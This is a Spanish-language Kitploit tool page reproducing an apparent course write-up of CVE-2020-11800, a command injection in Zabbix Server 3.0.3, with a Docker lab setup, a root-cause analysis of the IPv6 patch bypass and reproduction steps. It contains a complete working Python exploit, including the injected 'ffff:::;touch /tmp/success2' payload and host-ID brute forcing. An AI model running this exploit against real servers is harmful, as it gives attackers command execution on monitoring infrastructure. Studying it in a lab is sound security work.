Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-11800 — Exploit PoC para CVE-2020-11800, una inyección de comandos en Zabbix Server mediante el auto-registro de agentes maliciosos, con entrega de payload basada en Python y fuerza bruta de ID de host. | Kitploit
Herramientas/GitHubGitHub/ycseo-git/cve-2020-11800
Análisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC para CVE-2020-11800, una inyección de comandos en Zabbix Server mediante el auto-registro de agentes maliciosos, con entrega de payload basada en Python y fuerza bruta de ID de host.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Las secciones requeridas por las pautas de la asignación están marcadas con “(Requerido)”.

1. Entorno (Requerido)

Dockerfile (Requerido)

Este entorno utiliza un Dockerfile personalizado basado en la imagen vulnerable del servidor Zabbix proporcionada por Vulhub.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

El Dockerfile construye una imagen local utilizando el entorno vulnerable del servidor Zabbix 3.0.3. No se agregaron paquetes ni configuración adicional durante el proceso de construcción.


docker-compose.yml (Requerido)

El entorno vulnerable se configura mediante Docker Compose.

El entorno consta de cuatro servicios:

  • Servidor Zabbix
  • Agente Zabbix
  • Interfaz web de Zabbix
  • Base de datos MySQL

El servicio server se construye localmente usando el Dockerfile:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

El contenedor MySQL importa automáticamente los archivos de inicialización SQL del directorio src/ mediante el montaje de volúmenes:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Esto permite que el esquema de la base de datos y los datos iniciales de Zabbix se carguen automáticamente cuando se inicia el contenedor.


Arquitectura de servicios (Requerido)

El entorno opera utilizando la siguiente estructura:

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Proporciona la interfaz de administración basada en web accesible a través del navegador.

El administrador configura el auto-registro y ejecuta operaciones relacionadas con la monitorización a través de esta interfaz.

Zabbix Server

El componente central responsable de:

  • gestión de agentes
  • ejecución de scripts
  • lógica de monitorización
  • procesamiento de eventos

La vulnerabilidad de inyección de comandos se desencadena dentro de este contenedor.

Zabbix Agent

Actúa como un host monitorizado y se comunica con el servidor Zabbix.

El exploit abusa del mecanismo de auto-registro durante el proceso de registro del agente.

MySQL

Almacena los datos de configuración de Zabbix, la información de los hosts y los datos relacionados con la monitorización.


Imágenes y versiones (Requerido)

ServicioImagenVersión
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

El entorno se basa en el entorno vulnerable de Zabbix 3.0.3 proporcionado por Vulhub.

2. Causa raíz (Requerido)

Descripción de la vulnerabilidad (Requerido)

CVE-2020-11800 es una vulnerabilidad de inyección de comandos en la funcionalidad Active Proxy Trapper del servidor Zabbix.

La vulnerabilidad existe porque el parche para CVE-2017-2824 fue incompleto. Un atacante puede omitir el parche original utilizando un payload de estilo IPv6 y ejecutar comandos arbitrarios en el servidor Zabbix.

La vulnerabilidad se desencadena durante el proceso de auto-registro cuando el servidor procesa información del host controlada por el usuario.


Análisis de la causa raíz (Requerido)

La causa raíz de la vulnerabilidad es el manejo inseguro de entradas controladas por el usuario dentro de comandos shell.

Durante la ejecución de scripts, el servidor Zabbix utiliza el valor de IP del host registrado para construir comandos como:

root@kitploit:~
ping <host_ip>

En condiciones normales:

root@kitploit:~
ping 127.0.0.1

Sin embargo, si un atacante registra un host utilizando el siguiente payload:

root@kitploit:~
ffff:::;touch /tmp/success2

el comando final ejecutado por la shell se convierte en:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Debido a que el punto y coma (;) actúa como separador de comandos de la shell, esta interpreta la entrada como dos comandos separados:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Como resultado, la ejecución de comandos arbitrarios se vuelve posible.

Omisión del parche mediante IPv6

El parche original para CVE-2017-2824 intentaba restringir los valores de entrada maliciosos.

Sin embargo, la lógica de validación no manejaba correctamente la entrada de estilo IPv6.

El payload:

root@kitploit:~
ffff:::;touch /tmp/success2

utiliza un prefijo similar a IPv6 (ffff:::) para omitir la lógica de validación existente mientras sigue inyectando metacaracteres de shell.

Esto permite a los atacantes omitir el parche anterior y continuar explotando la vulnerabilidad de inyección de comandos.


Proceso de activación de la vulnerabilidad (Requerido)

El proceso de explotación ocurre en el siguiente orden:

root@kitploit:~
Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

El atacante primero envía una solicitud de auto-registro maliciosa que contiene un campo IP manipulado.

Después de que el host se registra, el servidor Zabbix ejecuta un script de monitorización utilizando el valor de IP del host almacenado.

Durante este proceso, el payload malicioso es interpretado por la shell, lo que lleva a la ejecución de comandos arbitrarios.


Flujo del ataque e impacto (Requerido)

El exploit permite a los atacantes ejecutar comandos arbitrarios con los privilegios del proceso del servidor Zabbix.

En este entorno, la explotación exitosa creó el siguiente archivo dentro del contenedor del servidor:

root@kitploit:~
/tmp/success2

Esto confirma que los comandos shell inyectados se ejecutaron correctamente.

En un entorno real, una explotación exitosa podría permitir a los atacantes:

  • ejecutar comandos arbitrarios del sistema
  • descargar y ejecutar malware
  • realizar reconocimiento interno
  • pivotar a otros sistemas
  • comprometer la infraestructura de monitorización

La vulnerabilidad es particularmente peligrosa porque los servidores de monitorización a menudo tienen visibilidad sobre múltiples sistemas internos y componentes de infraestructura.

3. PoC (Requerido)

Resumen del PoC (Requerido)

La Prueba de Concepto (PoC) fue escrita en Python y se comunica directamente con el servidor Zabbix a través del puerto TCP 10051.

El PoC realiza las siguientes acciones:

  1. Envía una solicitud de auto-registro maliciosa
  2. Realiza fuerza bruta sobre valores válidos de hostid
  3. Activa la ejecución de scripts utilizando el payload inyectado

Código del PoC

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Análisis del payload (Requerido)

El payload utilizado en este PoC es:

root@kitploit:~
ffff:::;touch /tmp/success2

Estructura del payload

PartePropósito
ffff:::Prefijo similar a IPv6 utilizado para omitir la validación
;Separador de comandos de shell
touch /tmp/success2Comando arbitrario ejecutado en el servidor

El payload abusa del hecho de que el servidor concatena incorrectamente valores de IP controlados por el usuario en comandos shell.

Propósito

  • Registra un agente Zabbix falso
  • Almacena un valor de IP malicioso en el servidor
  • Prepara el objetivo para la inyección de comandos

El payload se entrega a través del campo ip durante el proceso de auto-registro.


Proceso de ejecución del código del PoC (Requerido)

Solicitud de auto-registro

La primera solicitud enviada por el PoC intenta registrar un host malicioso.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

Fuerza bruta del ID de host

Después del registro, el PoC intenta localizar un hostid válido.

root@kitploit:~
for i in range(10000, 10500):

El PoC itera a través de un rango de posibles ID de host e intenta activar la ejecución de scripts.

Este paso es necesario porque el servidor asigna dinámicamente los ID de host después del registro.

Solicitud de ejecución de script

La siguiente solicitud activa la ejecución de comandos:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

Parámetros

ParámetroDescripción
requestSolicita la ejecución del script
scriptidID del script de Zabbix configurado
hostidID del host objetivo

En este entorno, scriptid:1 corresponde a un script relacionado con ping que utiliza el valor de IP del host durante la ejecución del comando.

Activación de la vulnerabilidad

El servidor Zabbix construye internamente un comando shell similar a:

root@kitploit:~
ping ffff:::;touch /tmp/success2

La shell interpreta esto como:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Como resultado:

  • el comando ping falla debido a una dirección IPv6 no válida
  • el comando touch inyectado se ejecuta con éxito

Salida esperada

Durante una explotación exitosa, puede aparecer la siguiente salida:

root@kitploit:~
ping: bad address 'ffff:::'

Esto indica que el payload alcanzó la etapa de ejecución del comando shell.

La explotación exitosa se confirma cuando existe el siguiente archivo dentro del contenedor del servidor:

root@kitploit:~
/tmp/success2

4. Reproducción (Requerido)

Proceso de ejecución del PoC y del exploit (Requerido)

El flujo completo del exploit se resume a continuación:

root@kitploit:~
Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

Pasos reales de ejecución del exploit (Requerido)

Configuración del entorno

Inicie el entorno vulnerable usando Docker Compose.

root@kitploit:~
docker compose up -d

Compruebe si todos los contenedores se están ejecutando correctamente.

root@kitploit:~
docker compose ps

El entorno debe incluir los siguientes contenedores:

  • Servidor Zabbix
  • Agente Zabbix
  • Zabbix Web
  • MySQL

Acceso a la interfaz web

Abra el navegador y acceda a la interfaz web de Zabbix.

root@kitploit:~
http://127.0.0.1:8080

Credenciales predeterminadas:

root@kitploit:~
Username: admin
Password: zabbix

Habilitación del auto-registro

El exploit requiere que la función de auto-registro esté habilitada.

Navegue a:

root@kitploit:~
Configuration → Actions

Cambie la fuente de eventos a:

root@kitploit:~
Auto registration

Cree una nueva acción y configure la siguiente operación:

root@kitploit:~
Operation Type: Add Host

Esto permite que los agentes recién registrados se agreguen automáticamente al servidor.

Ejecución del exploit

Ejecute el script del PoC.

root@kitploit:~
python3 exploit.py 127.0.0.1

El PoC envía una solicitud de auto-registro maliciosa e intenta activar la ejecución de comandos utilizando múltiples ID de host.


Análisis de resultados (Requerido)

Ejemplo de salida

Durante una explotación exitosa, puede aparecer una salida similar a la siguiente:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

Esto indica que el payload alcanzó la ruta vulnerable de ejecución de comandos shell.

Verificación de la ejecución de comandos

Acceda al contenedor del servidor Zabbix.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

Verifique si el comando inyectado creó el archivo objetivo.

root@kitploit:~
ls -l /tmp/success2

Una explotación exitosa produce una salida similar a:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

Esto confirma que los comandos arbitrarios se ejecutaron correctamente dentro del contenedor del servidor Zabbix.


Capturas de pantalla (Requerido)

Las siguientes capturas de pantalla se incluyeron en el directorio screenshots/:

Auto Registro

Resultado de la ejecución del PoC

Descargar herramienta